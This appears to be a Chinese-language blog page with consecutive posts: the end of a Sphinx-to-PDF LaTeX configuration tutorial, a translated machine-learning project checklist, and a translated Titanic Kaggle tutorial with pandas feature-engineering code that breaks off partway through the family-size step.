        'preamble': r'''
\hypersetup{unicode=true}
\usepackage{CJKutf8}
\DeclareUnicodeCharacter{00A0}{\nobreakspace}
\DeclareUnicodeCharacter{2203}{\ensuremath{\exists}}
\DeclareUnicodeCharacter{2200}{\ensuremath{\forall}}
\DeclareUnicodeCharacter{2286}{\ensuremath{\subseteq}}
\DeclareUnicodeCharacter{2713}{x}
\DeclareUnicodeCharacter{27FA}{\ensuremath{\Longleftrightarrow}}
\DeclareUnicodeCharacter{221A}{\ensuremath{\sqrt{}}}
\DeclareUnicodeCharacter{221B}{\ensuremath{\sqrt[3]{}}}
\DeclareUnicodeCharacter{2295}{\ensuremath{\oplus}}
\DeclareUnicodeCharacter{2297}{\ensuremath{\otimes}}
\begin{CJK}{UTF8}{gbsn}
\AtEndDocument{\end{CJK}}
''',
    }
else:
    # 本地
    latex_engine = 'xelatex'
    latex_elements = {
        'papersize': 'a4paper',
        'pointsize': '11pt',
        'preamble': r'''
\usepackage{xeCJK}
\setCJKmainfont[BoldFont=STZhongsong, ItalicFont=STKaiti]{STSong}
\setCJKsansfont[BoldFont=STHeiti]{STXihei}
\setCJKmonofont{STFangsong}
\XeTeXlinebreaklocale "zh"
\XeTeXlinebreakskip = 0pt plus 1pt
\parindent 2em
\definecolor{VerbatimColor}{rgb}{0.95,0.95,0.95}
\setcounter{tocdepth}{3}
\renewcommand\familydefault{\ttdefault}
\renewcommand\CJKfamilydefault{\CJKrmdefault}
'''
    }
# 设置文档
latex_documents = [
    (master_doc, 'sphinx.tex', '你的第一本 Sphinx 书',
     '作者:qiwihui', 'manual', True),
]

最后,编译:

$ make latexpdf

make latexpdf 会完成 rst转换为 tex 并将 tex 生成 PDF,可以手动分开:

$ make latex
$ cd build/latex
$ make

build/latex 下可以查看到生成的 PDF 文档。

字体

使用 fc-list 来获取字体信息,修改相应字体设置即可。

$ brew install fontconfig
$ fc-list :lang=zh

遇到的问题:

  1. 遇到 "! LaTeX Error: File '*.sty' not found." 类的问题:

解决:使用 sudo tlmgr install 安装相应的包即可。

总结

简单过了一下整个文档的流程,总体来说,Sphinx非常适合用来编写项目文档,reStructuredText 比起 Markdown 也有太多的优势,值得推荐。

机器学习项目清单

原文来自于《Hands-On Machine Learning with Scikit-Learn and TensorFlow》,这是一本系统学习机器学习和深度学习非常不错的入门书籍,理论和实践兼而有之。

此清单可以指导你完成机器学习项目。主要有八个步骤:

  1. 将问题框架化并且关注重点。
  2. 获取数据。
  3. 探索数据以洞悉数据。
  4. 准备数据以更好地将基础数据模式暴露给机器学习算法。
  5. 探索多种不同的模型并列出最好的那些。
  6. 微调模型并将它们组合成一个很好的解决方案。
  7. 展示你的解决方案。
  8. 启动,监督并维护你的系统。

显然,你应该根据你的需求调整此清单。

将问题框架化并且关注重点

  1. 用业务术语定义目标。
  2. 你的解决方案将如何使用?
  3. 目前的解决方案/解决方法(如果有的话)是什么?
  4. 你应该如何解决这个问题(监督/非监督,在线/离线等)?
  5. 如何度量模型的表现?
  6. 模型的表现是否和业务目标一致?
  7. 达到业务目标所需的最低性能是多少?
  8. 类似的问题如何解决?是否可以复用经验或工具?
  9. 人员是否专业?
  10. 你如何动手解决问题?
  11. 列出目前你(或者其他人)所做的假设。
  12. 如果可能,验证假设。

获取数据

注意:尽可能自动化,以便你轻松获取新数据。

  1. 列出你需要的数据和数据量。
  2. 查找并记录你可以获取该数据的位置。
  3. 检查它将占用多少存储空间。
  4. 检查法律义务并在必要时获取授权。
  5. 获取访问权限。
  6. 创建工作目录(拥有足够的存储空间)。
  7. 获取数据。
  8. 将数据转换为你可以轻松操作的格式(不更改数据本身)。
  9. 确保删除或保护敏感信息(比如,匿名)。
  10. 检查数据的大小和类型(时间序列,样本,地理信息等)。
  11. 抽样出测试集,将它放在一边,以后不需要关注它(没有数据窥探!)。

探索数据

注意:尝试从领域专家那获取有关这些步骤的见解。

  1. 创建用于探索的数据副本(如有必要,将其取样为可管理的大小)。
  2. 创建一个 Jupyter 笔记本来记录你的数据探索。
  3. 研究每个属性及其特征:
  • 名称;
  • 类型(分类,整数/浮点数,有界/无界,文本,结构化数据等);
  • 缺失数据的百分比;
  • 噪声点和它的类型(随机点,异常点,舍入误差等);
  • 对任务可能有用吗?
  • 分布类型(高斯分布,均匀分布,对数分布等)。
  1. 对于监督学习任务,确定目标属性。
  2. 可视化数据。
  3. 研究属性间的相关性。
  4. 研究怎如何手动解决问题。
  5. 确定你想要应用的有效的转换。
  6. 确定有用的额外数据。
  7. 记录你所学到的知识。

准备数据

注意:

  • 处理数据副本(保持原始数据集完整)。
  • 为你应用的所有数据转换编写函数,原因有五:
    • 你可以在下次获得新数据集时轻松准备数据
    • 你可以在未来的项目中应用这些转换
    • 用来清洗和准备测试数据集
    • 一旦项目上线你可以用来清洗和准备新的数据集
    • 为了便于将你的准备选择视为超参数
  1. 数据清洗:
  • 修正或移除异常值(可选)。
  • 填补缺失值(比如用零,平均值,中位数等)或者删除所在行(或者列)。
  1. 特征提取(可选):
  • 丢弃不提供有用信息的属性;
  1. 适当的特征工程:
  • 连续特征离散化。
  • 分解特征(比如分类,日期/时间等)。
  • 对特征添加有益的转换(比如 log(x),sqrt(x),x^2 等)
  • Aggregate features into promising new features. 将一些特征融合为有益的新特征
  1. 特征缩放:标准化或者正规化特征。

列出有用模型

注意:

  • 如果数据量巨大,你可能需要采样出较小的训练集,以便在合理的时间内训练许多不同的模型(请注意,这会对诸如大型神经网络或随机森林等复杂模型进行处罚)。
  • 再次尝试尽可能自动化这些步骤。
  1. 使用标准参数训练许多快速、粗糙的模型(比如线性模型,朴素贝叶斯模型,支持向量机模型,随机森林模型,神经网络等)。
  2. 衡量并比较他们的表现。
  • 对于每个模型,使用 N 折交叉验证法,并且计算基于 N 折交叉验证的均值与方差。
  1. 分析每种算法的最重要变量。
  2. 分析模型产生的错误类型。
  • 人们用什么数据来避免这些错误?
  1. 进行一轮快速的特征提取和特征工程。
  2. 对之前的五个步骤进行一两次的快速迭代。
  3. 列出前三到五名最有用的模型,由其是产生不同类型错误的模型。

微调系统

注意:

  • 这一步你将会使用尽可能多的数据,特别是当你微调结束时。
  • 像之前一样尽可能自动化。
  1. 使用交叉验证方法调节超参数
  • 要像调节超参数那样对待数据转换的过程,特别是当你不知如何下手的时候(比如,我应该是用零或中值替换缺失值吗?或者直接丢弃它们?)
  • 除非要探索的超参数值非常少,否则最好使用随机搜索而非网格搜索。如果训练的时间很长,你应该使用贝叶斯优化方法(比如,使用在 Jasper Snoek,Hugo Larochelle 和 Ryan Adams 的论文中描述的,用高斯处理先验)
  1. 尝试集成方法,结合最佳模型通常比单独运行它们更好。
  2. 一旦你对最终的模型有自信,请在测试集上测量其性能以估计泛化误差。

在测量泛化误差后不要调整模型:你会开始过度拟合测试集的。

展示你的解决方案

  1. 将你做的工作整理成文档。
  2. 制作精美的演示。
  • 确保你首先突出重点。
  1. 解释你的解决方案实现业务目标的原因。
  2. 不要忘记展示在这过程中你注意到的有趣的点。
  • 描述哪些有效,哪些无效。 -列出你的假设和系统的限制。
  1. 确保通过精美的可视化或易于记忆的陈述来传达你的主要发现(例如,“收入中位数是房价的第一预测因子”)。

启动

  1. 准备好生产解决方案(插入生产数据输入,编写单元测试等)。
  2. 编写监控代码以定期检查系统的实时性能,并在信号丢失时触发警报。
  • 谨防模型退化:随着数据的进入,模型往往会“腐烂”。
  • 评估模型可能需要大量的人力(比如,通过众包服务可以解决这个问题)
  • 同时监控输入数据的质量(例如,一个有故障的传感器发送随机数据,或者另外一个团队的输出变得陈旧),这对于在线学习系统尤其重要。
  1. 定期在新数据上重新训练模型(尽可能自动化)。

如何在 Titanic Kaggle Challenge 中获得0.8134分

原文:How to score 0.8134 in Titanic Kaggle Challenge

由 Kaggle 主持的泰坦尼克号生存挑战赛是一项竞赛,其目标是基于一组描述乘客的变量,例如他的年龄,性别或乘客在船上的等级,来预测特定乘客是生存或死亡。

我一直在玩 Titanic 数据集,我最近在公共排行榜上获得了0.8134的准确度分数。当我写这篇文章时,我在所有 Kagglers 中排名前4%。

png

这篇文章将分享我的解决方案。

为了使本教程更具“学术性”以便任何人都能从中受益,我将首先从探索性数据分析(EDA)开始,然后我将遵循特征工程并最终呈现我设置的预测模型。

在这个 jupyter 笔记本中,我将在每个级别的管道中使用 Python。

本教程涉及的主要库是:

  • Pandas 用于数据操作和接入(ingestion)
  • Matplotlibseaborn 用于数据可视化
  • Numpy 用于多维数组计算
  • sklearn 用于机器学习和预测建模

安装过程

安装这些软件包的一种非常简单的方法是下载并安装 Conda,它是将以上所有包封装起来的发行版。此发行版适用于所有平台(Windows,Linux 和 Mac OSX)。

特别注意

这是我作为博主和机器学习从业者的第一次尝试。

如果您对我所做的代码或假设有疑问,请不要犹豫,在下面的评论部分发表评论。

如果您对如何改进笔记本电脑也有建议,请联系我。

本教程可在我的 github 帐户中找到。

译者注:本翻译在 qiwihui 下。

希望你已经在计算机上设置了所有内容。让我们开始吧。

I - 探索性数据分析

正如在不同的数据项目中,我们将首先开始深入研究数据并建立我们的第一个直觉。

在本节中,我们将做四件事。

  • 数据提取:我们将加载数据集并首先查看它。
  • 清洁:我们将填写缺失值。
  • 绘图:我们将创建一些有趣的图表,这些图表(希望)可以发现数据中的相关性和隐藏的见解。
  • 假设:我们将从图表中提出假设。

我们稍微调整了这款笔记本的风格,以便画图居中。

from IPython.core.display import HTML
HTML("""
<style>
.output_png {
    display: table-cell;
    text-align: center;
    vertical-align: middle;
}
</style>
""");

导入有用的包。

%matplotlib inline

import warnings
warnings.filterwarnings('ignore')
warnings.filterwarnings('ignore', category=DeprecationWarning)

import pandas as pd
pd.options.display.max_columns = 100

from matplotlib import pyplot as plt
import numpy as np

import seaborn as sns

import pylab as plot
params = {
    'axes.labelsize': "large",
    'xtick.labelsize': 'x-large',
    'legend.fontsize': 20,
    'figure.dpi': 150,
    'figure.figsize': [25, 7]
}
plot.rcParams.update(params)

有两个数据集:训练集和测试集。 我们将使用训练集来构建我们的预测模型,用测试集来对其进行评分并生成输出文件以在Kaggle评估系统上提交。

我们将在本文末尾看到这个过程是如何完成的。

现在让我们开始加载训练集。

data = pd.read_csv('./data/train.csv')
print data.shape
(891, 12)

我们得到:

  • 891 行
  • 12 列

Pandas 允许你鸟瞰数据。

data.head()
PassengerId Survived Pclass Name Sex Age SibSp Parch Ticket Fare Cabin Embarked
0 1 0 3 Braund, Mr. Owen Harris male 22.0 1 0 A/5 21171 7.2500 NaN S
1 2 1 1 Cumings, Mrs. John Bradley (Florence Briggs Th... female 38.0 1 0 PC 17599 71.2833 C85 C
2 3 1 3 Heikkinen, Miss. Laina female 26.0 0 0 STON/O2. 3101282 7.9250 NaN S
3 4 1 1 Futrelle, Mrs. Jacques Heath (Lily May Peel) female 35.0 1 0 113803 53.1000 C123 S
4 5 0 3 Allen, Mr. William Henry male 35.0 0 0 373450 8.0500 NaN S

Survived 列是 目标变量。 如果 Survived 为 1,乘客幸免于难,否则他已经死了。这是我们要预测的变量。

其他变量描述了乘客。 它们是 特征

  • PassengerId:船上每位旅客的身份证明
  • Pclass:乘客等级。 它有三个可能的值:1,2,3(第一,第二和第三类)
  • Name:Passeger的名字
  • Sex:性别
  • Age:年龄
  • SibSp:与乘客一起旅行的兄弟姐妹和配偶的数量
  • Parch:与乘客一起旅行的父母和孩子的数量
  • Ticket:船票号码
  • Fare:票价
  • Cabin:船舱号码
  • Embarked:这描述了人们登上的泰坦尼克号的三个可能区域。 三个可能的值 S,C,Q

Pandas 允许您对数字特征进行高级简单的统计描述。 这可以使用 describe 方法完成。

data.describe()
PassengerId Survived Pclass Age SibSp Parch Fare
count 891.000000 891.000000 891.000000 714.000000 891.000000 891.000000 891.000000
mean 446.000000 0.383838 2.308642 29.699118 0.523008 0.381594 32.204208
std 257.353842 0.486592 0.836071 14.526497 1.102743 0.806057 49.693429
min 1.000000 0.000000 1.000000 0.420000 0.000000 0.000000 0.000000
25% 223.500000 0.000000 2.000000 20.125000 0.000000 0.000000 7.910400
50% 446.000000 0.000000 3.000000 28.000000 0.000000 0.000000 14.454200
75% 668.500000 1.000000 3.000000 38.000000 1.000000 0.000000 31.000000
max 891.000000 1.000000 3.000000 80.000000 8.000000 6.000000 512.329200

count 变量显示 Age 列中缺少177个值。

一种解决方案是用中值年龄填充空值。我们也可以用平均年龄来估算,但中位数对异常值更为稳健。

data['Age'] = data['Age'].fillna(data['Age'].median())

让我们看一下结果。

data.describe()
PassengerId Survived Pclass Age SibSp Parch Fare
count 891.000000 891.000000 891.000000 891.000000 891.000000 891.000000 891.000000
mean 446.000000 0.383838 2.308642 29.361582 0.523008 0.381594 32.204208
std 257.353842 0.486592 0.836071 13.019697 1.102743 0.806057 49.693429
min 1.000000 0.000000 1.000000 0.420000 0.000000 0.000000 0.000000
25% 223.500000 0.000000 2.000000 22.000000 0.000000 0.000000 7.910400
50% 446.000000 0.000000 3.000000 28.000000 0.000000 0.000000 14.454200
75% 668.500000 1.000000 3.000000 35.000000 1.000000 0.000000 31.000000
max 891.000000 1.000000 3.000000 80.000000 8.000000 6.000000 512.329200

完美。

我们现在制作一些图表。让我们根据性别来看待生存。

data['Died'] = 1 - data['Survived']
data.groupby('Sex').agg('sum')[['Survived', 'Died']].plot(kind='bar', figsize=(25, 7),
                                                          stacked=True, colors=['g', 'r']);

png

看起来男性乘客更容易死亡。让我们绘制相同的图形,但用比例代替。

data.groupby('Sex').agg('mean')[['Survived', 'Died']].plot(kind='bar', figsize=(25, 7), 
                                                           stacked=True, colors=['g', 'r']);

png

性别变量似乎是一种歧视性特征。女性更有可能生存。

现在让我们将生存与年龄变量联系起来。

fig = plt.figure(figsize=(25, 7))
sns.violinplot(x='Sex', y='Age', 
               hue='Survived', data=data, 
               split=True,
               palette={0: "r", 1: "g"}
              );

png

正如我们在上面的图表中看到并通过以下方式验证:

  • 女性的生存率高于男性,如较大的女性绿色直方图所示

现在,我们看到:

  • 年龄为男性乘客的生存:

    • 年轻的男性倾向于生存   * 20至40岁之间的大量乘客死亡
  • 年龄似乎没有对女性生存产生直接影响

以下小提琴情节证实,在遇到威胁的情况下,水手和船长遵守一条旧的行为准则:“妇女和儿童优先!”。

png

对吗?

现在让我们关注每位乘客的票价,看看它如何影响生存。

figure = plt.figure(figsize=(25, 7))
plt.hist([data[data['Survived'] == 1]['Fare'], data[data['Survived'] == 0]['Fare']], 
         stacked=True, color = ['g','r'],
         bins = 50, label = ['Survived','Dead'])
plt.xlabel('Fare')
plt.ylabel('Number of passengers')
plt.legend();

png

票价较低的乘客更容易死亡。 换句话说,拥有更昂贵门票,因此更重要的社会地位的乘客似乎首先获救。

好的,这很好。 现在让我们将年龄,票价和生存结合在一张图表上。

plt.figure(figsize=(25, 7))
ax = plt.subplot()

ax.scatter(data[data['Survived'] == 1]['Age'], data[data['Survived'] == 1]['Fare'], 
           c='green', s=data[data['Survived'] == 1]['Fare'])
ax.scatter(data[data['Survived'] == 0]['Age'], data[data['Survived'] == 0]['Fare'], 
           c='red', s=data[data['Survived'] == 0]['Fare']);

png

圆圈的大小与票价成正比。

在 x 轴上,我们有年龄,在 y 轴,我们考虑票价。

我们可以观察不同的集群:

  1. x = 20 和 x = 45 之间的大绿点:票价最高的成人
  2. x = 10 和 x = 45 之间的小红点,船上较低级别的成年人
  3. x = 0 和 x = 7 之间的小密集点:这些是被保存的孩子

事实上,票价与我们在下面的图表中看到的类别相关。

ax = plt.subplot()
ax.set_ylabel('Average fare')
data.groupby('Pclass').mean()['Fare'].plot(kind='bar', figsize=(25, 7), ax = ax);

png

现在让我们看看登船地点如何影响生存。

fig = plt.figure(figsize=(25, 7))
sns.violinplot(x='Embarked', y='Fare', hue='Survived', data=data, split=True, palette={0: "r", 1: "g"});

png

似乎登船地点 C 的票价范围更广,因此支付最高价格的乘客是那些幸存的乘客。

我们也看到这种情况发生在登船地点 S 而不是登船地点 Q。

现在让我们停止数据探索并切换到下一部分。

II - 特征工程

在前一部分中,我们调查了数据并发现了一些有趣的相关性。

在这一部分中,我们将看到如何处理和转换这些变量,使数据变得可以通过机器学习算法进行管理。

我们还将创建或“设计”在构建模型时有用的其他功能。

我们将在此过程中看到如何处理文本变量(如乘客姓名)并将此信息集成到我们的模型中。

为了更加清晰,我们将代码分散在单独的函数中。

但首先,让我们定义一个打印函数,断言是否已经处理了一个特征。

def status(feature):
    print 'Processing', feature, ': ok'

加载数据

启动机器学习问题的一个技巧是将训练集一起附加到测试集。

我们将使用训练集进行特征工程以防止信息泄漏。然后我们将这些变量添加到测试集中。

让我们加载训练集和测试集并将它们合在一起。

def get_combined_data():
    # reading train data
    train = pd.read_csv('./data/train.csv')

    # reading test data
    test = pd.read_csv('./data/test.csv')

    # extracting and then removing the targets from the training data 
    targets = train.Survived
    train.drop(['Survived'], 1, inplace=True)


    # merging train data and test data for future feature engineering
    # we'll also remove the PassengerID since this is not an informative feature
    combined = train.append(test)
    combined.reset_index(inplace=True)
    combined.drop(['index', 'PassengerId'], inplace=True, axis=1)

    return combined
combined = get_combined_data()

让我们看一下数据的维度。

print combined.shape
(1309, 10)

训练集和测试集被合并。您可能会注意到总行数(1309)是训练集和测试集中行数的精确总和。

combined.head()
Pclass Name Sex Age SibSp Parch Ticket Fare Cabin Embarked
0 3 Braund, Mr. Owen Harris male 22.0 1 0 A/5 21171 7.2500 NaN S
1 1 Cumings, Mrs. John Bradley (Florence Briggs Th... female 38.0 1 0 PC 17599 71.2833 C85 C
2 3 Heikkinen, Miss. Laina female 26.0 0 0 STON/O2. 3101282 7.9250 NaN S
3 1 Futrelle, Mrs. Jacques Heath (Lily May Peel) female 35.0 1 0 113803 53.1000 C123 S
4 3 Allen, Mr. William Henry male 35.0 0 0 373450 8.0500 NaN S

提取乘客称谓

在查看乘客姓名时,人们可能想知道如何处理它们以提取有用的信息。

如果你仔细看看这些第一个例子:

  • Braund, Mr. Owen Harris
  • Heikkinen, Miss. Laina
  • Oliva y Ocana, Dona. Fermina
  • Peter, Master. Michael J

你会注意到每个名字都有一个称谓!这可能是一个简单的小姐(Miss.)或太太(Mrs.),但它有时可能像 Master,Sir 或 Dona 那样更复杂。在这种情况下,我们可以通过简单地解析称谓并提取标题并转换为二进制变量来引入有关社会地位的其他信息。

让我们看看我们将如何在下面的函数中执行此操作。

让我们先来看看在训练集中有什么不同的称谓。

titles = set()
for name in data['Name']:
    titles.add(name.split(',')[1].split('.')[0].strip())
print titles
set(['Sir', 'Major', 'the Countess', 'Don', 'Mlle', 'Capt', 'Dr', 'Lady', 'Rev', 'Mrs', 'Jonkheer', 'Master', 'Ms', 'Mr', 'Mme', 'Miss', 'Col'])
Title_Dictionary = {
    "Capt": "Officer",
    "Col": "Officer",
    "Major": "Officer",
    "Jonkheer": "Royalty",
    "Don": "Royalty",
    "Sir" : "Royalty",
    "Dr": "Officer",
    "Rev": "Officer",
    "the Countess":"Royalty",
    "Mme": "Mrs",
    "Mlle": "Miss",
    "Ms": "Mrs",
    "Mr" : "Mr",
    "Mrs" : "Mrs",
    "Miss" : "Miss",
    "Master" : "Master",
    "Lady" : "Royalty"
}

def get_titles():
    # we extract the title from each name
    combined['Title'] = combined['Name'].map(lambda name:name.split(',')[1].split('.')[0].strip())

    # a map of more aggregated title
    # we map each title
    combined['Title'] = combined.Title.map(Title_Dictionary)
    status('Title')
    return combined

此函数解析名称并提取称谓。 然后,它将称谓映射到称谓类别。 我们选择:

  • Officer
  • Royalty
  • Mr
  • Mrs
  • Miss
  • Master

让我们运行一下!

combined = get_titles()
Processing Title : ok
combined.head()
Pclass Name Sex Age SibSp Parch Ticket Fare Cabin Embarked Title
0 3 Braund, Mr. Owen Harris male 22.0 1 0 A/5 21171 7.2500 NaN S Mr
1 1 Cumings, Mrs. John Bradley (Florence Briggs Th... female 38.0 1 0 PC 17599 71.2833 C85 C Mrs
2 3 Heikkinen, Miss. Laina female 26.0 0 0 STON/O2. 3101282 7.9250 NaN S Miss
3 1 Futrelle, Mrs. Jacques Heath (Lily May Peel) female 35.0 1 0 113803 53.1000 C123 S Mrs
4 3 Allen, Mr. William Henry male 35.0 0 0 373450 8.0500 NaN S Mr

让我们检查一下称谓是否填写正确。

combined[combined['Title'].isnull()]
Pclass Name Sex Age SibSp Parch Ticket Fare Cabin Embarked Title
1305 1 Oliva y Ocana, Dona. Fermina female 39.0 0 0 PC 17758 108.9 C105 C NaN

在1305行中确实存在 NaN 值。实际上相应的名称是 Oliva y Ocana, **Dona**. Fermina

在训练数据集中没有遇到这个标题。

很好,现在我们有一个名为 Title 的附加列来包含这些信息。

处理年龄(Age)

我们在第一部分中看到 Age 变量缺少177个值。这是一个很大的数字(约占数据集的13%)。简单地用平均年龄或中位年龄替换它们可能不是最佳解决方案,因为年龄可能因乘客的类别和类别而不同。

为了理解原因,让我们按性别(Sex),称谓(Title)和乘客类(Pclass)对我们的数据集进行分组,并为每个子集计算中位数年龄。

为了避免测试集中的数据泄漏,我们使用训练集填写训练中的缺失年龄,并且我们使用从训练集计算的值来填充测试集中的年龄。

训练级中缺少的年龄数

print combined.iloc[:891].Age.isnull().sum()
177

测试集中缺少的年龄数

print combined.iloc[891:].Age.isnull().sum()
86
grouped_train = combined.iloc[:891].groupby(['Sex','Pclass','Title'])
grouped_median_train = grouped_train.median()
grouped_median_train = grouped_median_train.reset_index()[['Sex', 'Pclass', 'Title', 'Age']]
grouped_median_train.head()
Sex Pclass Title Age
0 female 1 Miss 30.0
1 female 1 Mrs 40.0
2 female 1 Officer 49.0
3 female 1 Royalty 40.5
4 female 2 Miss 24.0

此 dataframe 将帮助我们根据不同的标准估算缺失的年龄值。

查看中位年龄列,看看这个值如何根据 SexPclassTitle 组合在一起。

例如:

  • 如果乘客是女性,则来自 Pclass 1 和来自王室(royalty),中位年龄为40.5岁。
  • 如果乘客是男性,来自 Pclass 3,拥有 Mr 称谓,则年龄中位数为26岁。

让我们创建一个函数,根据这些不同的属性填充 组合 中的缺失年龄。

def fill_age(row):
    condition = (
        (grouped_median_train['Sex'] == row['Sex']) & 
        (grouped_median_train['Title'] == row['Title']) & 
        (grouped_median_train['Pclass'] == row['Pclass'])
    )
    return grouped_median_train[condition]['Age'].values[0]


def process_age():
    global combined
    # a function that fills the missing values of the Age variable
    combined['Age'] = combined.apply(lambda row: fill_age(row) if np.isnan(row['Age']) else row['Age'], axis=1)
    status('age')
    return combined
combined = process_age()
Processing age : ok

完美。失踪的年龄已被取代。

但是,我们注意到票价(Fare)中缺少1个值,登船位置(Embarked)有两个缺失值,而船舱位置(Cabin)有很多缺失值。我们稍后会处理这些变量。

我们现在处理名字。

def process_names():
    global combined
    # we clean the Name variable
    combined.drop('Name', axis=1, inplace=True)

    # encoding in dummy variable
    titles_dummies = pd.get_dummies(combined['Title'], prefix='Title')
    combined = pd.concat([combined, titles_dummies], axis=1)

    # removing the title variable
    combined.drop('Title', axis=1, inplace=True)

    status('names')
    return combined

此函数会删除 Name 列,我们不再使用它,因为我们创建了 Title 列。

然后我们使用虚拟编码(dummy encoding)对称谓值进行编码。

您可以了解虚拟编码以及如何在 Pandas 中轻松完成此操作。

combined = process_names()
Processing names : ok
combined.head()
Pclass Sex Age SibSp Parch Ticket Fare Cabin Embarked Title_Master Title_Miss Title_Mr Title_Mrs Title_Officer Title_Royalty
0 3 male 22.0 1 0 A/5 21171 7.2500 NaN S 0 0 1 0 0 0
1 1 female 38.0 1 0 PC 17599 71.2833 C85 C 0 0 0 1 0 0
2 3 female 26.0 0 0 STON/O2. 3101282 7.9250 NaN S 0 1 0 0 0 0
3 1 female 35.0 1 0 113803 53.1000 C123 S 0 0 0 1 0 0
4 3 male 35.0 0 0 373450 8.0500 NaN S 0 0 1 0 0 0

如你看到的 :

  • 不再有名字特征。
  • 出现了新的变量(Title_X)。这些特征是二进制的。
    • 例如,如果 Title_Mr = 1,则相应的称谓为 Mr。

处理票价(Fare)

让我们通过在训练集上计算的平均票价估算缺失的票价值。

def process_fares():
    global combined
    # there's one missing fare value - replacing it with the mean.
    combined.Fare.fillna(combined.iloc[:891].Fare.mean(), inplace=True)
    status('fare')
    return combined

此函数用平均值替换一个缺失的票价(Fare)值。

combined = process_fares()
Processing fare : ok

处理登船位置(Embarked)

def process_embarked():
    global combined
    # two missing embarked values - filling them with the most frequent one in the train  set(S)
    combined.Embarked.fillna('S', inplace=True)
    # dummy encoding
    embarked_dummies = pd.get_dummies(combined['Embarked'], prefix='Embarked')
    combined = pd.concat([combined, embarked_dummies], axis=1)
    combined.drop('Embarked', axis=1, inplace=True)
    status('embarked')
    return combined

此函数用最常用的 Embarked 值替换了两个缺失的 Embarked 值。

combined = process_embarked()
Processing embarked : ok
combined.head()
Pclass Sex Age SibSp Parch Ticket Fare Cabin Title_Master Title_Miss Title_Mr Title_Mrs Title_Officer Title_Royalty Embarked_C Embarked_Q Embarked_S
0 3 male 22.0 1 0 A/5 21171 7.2500 NaN 0 0 1 0 0 0 0 0 1
1 1 female 38.0 1 0 PC 17599 71.2833 C85 0 0 0 1 0 0 1 0 0
2 3 female 26.0 0 0 STON/O2. 3101282 7.9250 NaN 0 1 0 0 0 0 0 0 1
3 1 female 35.0 1 0 113803 53.1000 C123 0 0 0 1 0 0 0 0 1
4 3 male 35.0 0 0 373450 8.0500 NaN 0 0 1 0 0 0 0 0 1

处理船舱位置(Cabin)

train_cabin, test_cabin = set(), set()

for c in combined.iloc[:891]['Cabin']:
    try:
        train_cabin.add(c[0])
    except:
        train_cabin.add('U')

for c in combined.iloc[891:]['Cabin']:
    try:
        test_cabin.add(c[0])
    except:
        test_cabin.add('U')
print train_cabin
set(['A', 'C', 'B', 'E', 'D', 'G', 'F', 'U', 'T'])
print test_cabin
set(['A', 'C', 'B', 'E', 'D', 'G', 'F', 'U'])

我们在测试集中没有任何不存在于训练集中的船舱位置字母。

def process_cabin():
    global combined
    # replacing missing cabins with U (for Uknown)
    combined.Cabin.fillna('U', inplace=True)

    # mapping each Cabin value with the cabin letter
    combined['Cabin'] = combined['Cabin'].map(lambda c: c[0])

    # dummy encoding ...
    cabin_dummies = pd.get_dummies(combined['Cabin'], prefix='Cabin')
    combined = pd.concat([combined, cabin_dummies], axis=1)

    combined.drop('Cabin', axis=1, inplace=True)
    status('cabin')
    return combined

此函数将 NaN 值替换为 U(表示 Unknow )。 然后它将每个 Cabin 值映射到第一个字母。 然后它再次使用虚拟编码对舱位值进行编码。

combined = process_cabin()
Processing cabin : ok

好了,没有缺失值了。

combined.head()
Pclass Sex Age SibSp Parch Ticket Fare Title_Master Title_Miss Title_Mr Title_Mrs Title_Officer Title_Royalty Embarked_C Embarked_Q Embarked_S Cabin_A Cabin_B Cabin_C Cabin_D Cabin_E Cabin_F Cabin_G Cabin_T Cabin_U
0 3 male 22.0 1 0 A/5 21171 7.2500 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1
1 1 female 38.0 1 0 PC 17599 71.2833 0 0 0 1 0 0 1 0 0 0 0 1 0 0 0 0 0 0
2 3 female 26.0 0 0 STON/O2. 3101282 7.9250 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1
3 1 female 35.0 1 0 113803 53.1000 0 0 0 1 0 0 0 0 1 0 0 1 0 0 0 0 0 0
4 3 male 35.0 0 0 373450 8.0500 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1

处理性别(Sex)

def process_sex():
    global combined
    # mapping string values to numerical one
    combined['Sex'] = combined['Sex'].map({'male':1, 'female':0})
    status('Sex')
    return combined

此函数将字符串值 malefemale 分别映射到1和0。

combined = process_sex()
Processing Sex : ok

处理乘客等级(Pclass)

def process_pclass():

    global combined
    # encoding into 3 categories:
    pclass_dummies = pd.get_dummies(combined['Pclass'], prefix="Pclass")

    # adding dummy variable
    combined = pd.concat([combined, pclass_dummies],axis=1)

    # removing "Pclass"
    combined.drop('Pclass',axis=1,inplace=True)

    status('Pclass')
    return combined

此函数使用虚拟编码对 Pclass(1,2,3)的值进行编码。

combined = process_pclass()
Processing Pclass : ok

处理船票号码(Ticket)

让我们首先看看我们的数据集中不同的船票号码前缀

def cleanTicket(ticket):
    ticket = ticket.replace('.', '')
    ticket = ticket.replace('/', '')
    ticket = ticket.split()
    ticket = map(lambda t : t.strip(), ticket)
    ticket = list(filter(lambda t : not t.isdigit(), ticket))
    if len(ticket) > 0:
        return ticket[0]
    else:
        return 'XXX'
tickets = set()
for t in combined['Ticket']:
    tickets.add(cleanTicket(t))
print len(tickets)
37
def process_ticket():

    global combined

    # a function that extracts each prefix of the ticket, returns 'XXX' if no prefix (i.e the ticket is a digit)
    def cleanTicket(ticket):
        ticket = ticket.replace('.','')
        ticket = ticket.replace('/','')
        ticket = ticket.split()
        ticket = map(lambda t : t.strip(), ticket)
        ticket = filter(lambda t : not t.isdigit(), ticket)
        if len(ticket) > 0:
            return ticket[0]
        else:
            return 'XXX'


    # Extracting dummy variables from tickets:

    combined['Ticket'] = combined['Ticket'].map(cleanTicket)
    tickets_dummies = pd.get_dummies(combined['Ticket'], prefix='Ticket')
    combined = pd.concat([combined, tickets_dummies], axis=1)
    combined.drop('Ticket', inplace=True, axis=1)

    status('Ticket')
    return combined
combined = process_ticket()
Processing Ticket : ok

处理家庭

这部分包括根据家庭的大小创建新变量(大小是我们创建的另一个变量)。

这种新变量的创建是在一个现实的假设下完成的:大家庭聚集在一起,因此他们比单独旅行的人更有可能获救。

def process_family():

    global combined
    # introducing a new feature : the size of families (including the passenger)
    combined['FamilySize'] = combined['Parch'] + combined['SibSp'] + 1

    # introducing other features based on the family size
    combined['Singleton'] = combined['FamilySize'].map(lambda s: 1 if s == 1 else 0)
    combined['SmallFamily'] = combined['FamilySize'].map(lambda s: 1 if 2 <= s <= 4 else 0)
